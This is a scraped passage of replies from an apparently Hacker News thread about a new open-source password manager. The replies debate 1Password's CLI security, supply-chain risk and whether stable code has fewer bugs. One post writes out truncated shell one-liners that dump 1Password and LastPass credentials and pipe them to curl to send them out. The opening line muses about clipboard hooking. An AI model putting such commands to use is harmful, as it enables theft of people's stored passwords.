When will we read an article about how to pwn pw-managers. How to hook clipboard and the like and steal everything inside.
Show HN: Sesame - a local-first, open-source password manager
81–88 of 88 posts
Re: Show HN: Sesame - a local-first, open-source password manager
#82Earlier quoted context omitted.
Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise. Exfiltrate all plaintext credentials from 1password: op list items \ | jq -r '.[].uuid' \ | xargs -n1 bash -c 'op get item "$1"' -- \ | curl -F 'p= /dev/null 2>&1 Exfiltrate all plaintext credentials from lastpass: lpass ls \ | grep -oP '(? /dev/null 2>&1 Stick one of those in…
You have to both install and explicitly enable the 1Password CLI, both steps no “normal” user is going to take unless socially engineered to. https://www.1password.dev/cli/get-started And getting secrets using it requires explicit authentication with password/fingerprint/etc (I forget if it’s per item or per process, but still).
Those are of course just minimum viable proofs of concept for users with the CLI installed because they are succinct. Real malware could of course install the CLIs for the user helpfully or just directly access the database the next time it is unlocked and dump everything just as easily. A malicious browser plugin to dump the master password to bulk decrypt works just as well.
Decrypting -all- passwords any time you decrypt -any- password under the hood is an irresponsible design for a password manager, especially on modern hardware with so so so many other options that enforce rate limiting, hardware anchored encryption, and physical user consent.
Performative 2FA for every secret like 1password does when the binary has direct access to bulk decrypt all secrets in plain text with a key in system memory is a very strange choice given you could just have the hardware doing the individual decryption for a single secret instead of exposing the secrets that can bulk decrypt the whole database.
Re: Show HN: Sesame - a local-first, open-source password manager
#83I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…
Did you have any thoughts on password safe? https://pwsafe.org/ I am really afraid of supply chain attack. It feels inevitible that this will happen. my only thought is i should just roll my own personal password manager closed source.
What supply-chain attack do you suspect pwsafe of being at risk of?
Re: Show HN: Sesame - a local-first, open-source password manager
#84Earlier quoted context omitted.
You have to both install and explicitly enable the 1Password CLI, both steps no “normal” user is going to take unless socially engineered to. https://www.1password.dev/cli/get-started And getting secrets using it requires explicit authentication with password/fingerprint/etc (I forget if it’s per item or per process, but still).
Those are of course just minimum viable proofs of concept for users with the CLI installed because they are succinct. Real malware could of course install the CLIs for the user helpfully or just directly access the database the next time it is unlocked and dump everything just as easily. A malicious browser plugin to dump the master password to bulk decrypt works just as well. Decrypting -all- passwords any time you…
Well, they’re not minimum-viable if they don’t work, which they won’t for most users. It’s not a simple matter of the database being unlocked or locked, as I say it’s at least a per-process authentication, protected by the 1Password daemon. I’m not saying it’s a perfect system, but exaggerated mischaracterisation, with no apparent thought to the experience of the average user, doesn’t help your argument. You don’t seem to put much value in memory protection or process sandboxing. Yes with enough exploits you can do anything, but that’s true in any case. The fact is, 1Password is good enough for most people, and even at least one bank that I’m aware of. I’m willing to be convinced of a better implementation, but the fact you’re so scathing of something that works and has UX benefits over per-secret keying is off-putting. All design is trade-offs.
Re: Show HN: Sesame - a local-first, open-source password manager
#85Earlier quoted context omitted.
> A study I read a few months ago showed that old code has fewer bugs than new code, which seems intuitive but it's nice to have actual data on it as well Which study? Old software has bugs that live for decades, even security bugs. I don't have a study to cite, just open bug trackers and CVE lists.
That wasn't the claim. The claim is that stable code (that isn't changed except to fix bugs) has fewer bugs than code someone newly wrote and we haven't had as much time to run into or otherwise uncover flaws. I never meant that all old C code is bug-free craftsmanship or something xD Found the reference (bless bookmark managers): https://security.googleblog.com/2024/09/eliminating-memory-s... Relevant bits: > vulner…
A literal interpretation of the claim is, quoted directly, "old code has fewer bugs than new code". Now you've clarified that you meant "stable code", which is fair. But stability is not a guarantee of correctness. Perhaps you meant "correct code", and not necessarily "old" or "stable" code.
I admit it is difficult to infer your intention on the classification of "old code vs new code". I don't see evidence that new code is inherently worse than old code, including in the cited study. There is correlation that people forget lessons learned in the past, but that's as far as I would evaluate the data.
> vulnerabilities decay exponentially.
Because they get fixed over time. That isn't controversial. They also persist over time. The quoted observation depends on proactive maintenance. But proactive maintenance is also the only cause of new bugs by definition. "Recently modified code" stands out in the last paragraph. This study is not talking about stable code.
Re: Show HN: Sesame - a local-first, open-source password manager
#86[flagged]
Re: Show HN: Sesame - a local-first, open-source password manager
#87I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…
Did you have any thoughts on password safe? https://pwsafe.org/ I am really afraid of supply chain attack. It feels inevitible that this will happen. my only thought is i should just roll my own personal password manager closed source.
I mean, you don't have to update if you think that's the most likely vector (I don't disagree, at least for managers that have no online components, not even an update check). I'd recommend reading the changelogs though to see if they upgraded encryption parameters or did other fixes that you should want. You could wait a while applying them, and/or spot check if the diff makes sense
Unless you want sync or other online functionality, you're almost certainly better off with an ancient version of some trusted password manager than with a custom implementation. And if you do, I'd still not necessarily recommend it, but then imo it depends on your experience/knowledge level (regardless of whether you use an LLM)
I've never heard of the one you mention so I can't say anything positive or negative about it. The page looks ancient enough that I... not immediately trust it blindly, but it speaks for it. They either care about stability (not jumping on the latest fashion trends) ...or it's abandoned and the last release might or might not be flawless :p
Re: Show HN: Sesame - a local-first, open-source password manager
#88Earlier quoted context omitted.
That wasn't the claim. The claim is that stable code (that isn't changed except to fix bugs) has fewer bugs than code someone newly wrote and we haven't had as much time to run into or otherwise uncover flaws. I never meant that all old C code is bug-free craftsmanship or something xD Found the reference (bless bookmark managers): https://security.googleblog.com/2024/09/eliminating-memory-s... Relevant bits: > vulner…
A literal interpretation of the claim is, quoted directly, "old code has fewer bugs than new code". Now you've clarified that you meant "stable code", which is fair. But stability is not a guarantee of correctness. Perhaps you meant "correct code", and not necessarily "old" or "stable" code. I admit it is difficult to infer your intention on the classification of "old code vs new code". I don't see evidence that new…
Reading back, yeah I can see the alternative interpretation of what I wrote, that's fair
> Perhaps you meant "correct code", and not necessarily "old" or "stable" code.
That sounds like a circular statement to me: if the code is correct, it can't have bugs, because bugs are when it does something wrong. Calling it stable seems fair to me, idk which would be most precise and bestest choice of words but that hopefully conveys the concept of some software product that hasn't majorly changed but also isn't just abandoned (say, a part of Firefox that hasn't been rewritten in forever, but Mozilla continues to apply any fixes to it when bugs are reported), for which I think the statement holds
> The quoted observation depends on proactive maintenance.
Yeah, that's the issue with my original wording of "old", where I can totally see the other interpretation coming to mind first. It's not that people who lived longer ago wrote better code :p. Quite the opposite: the effect of awareness increases over the decades is very visible in my work as security tester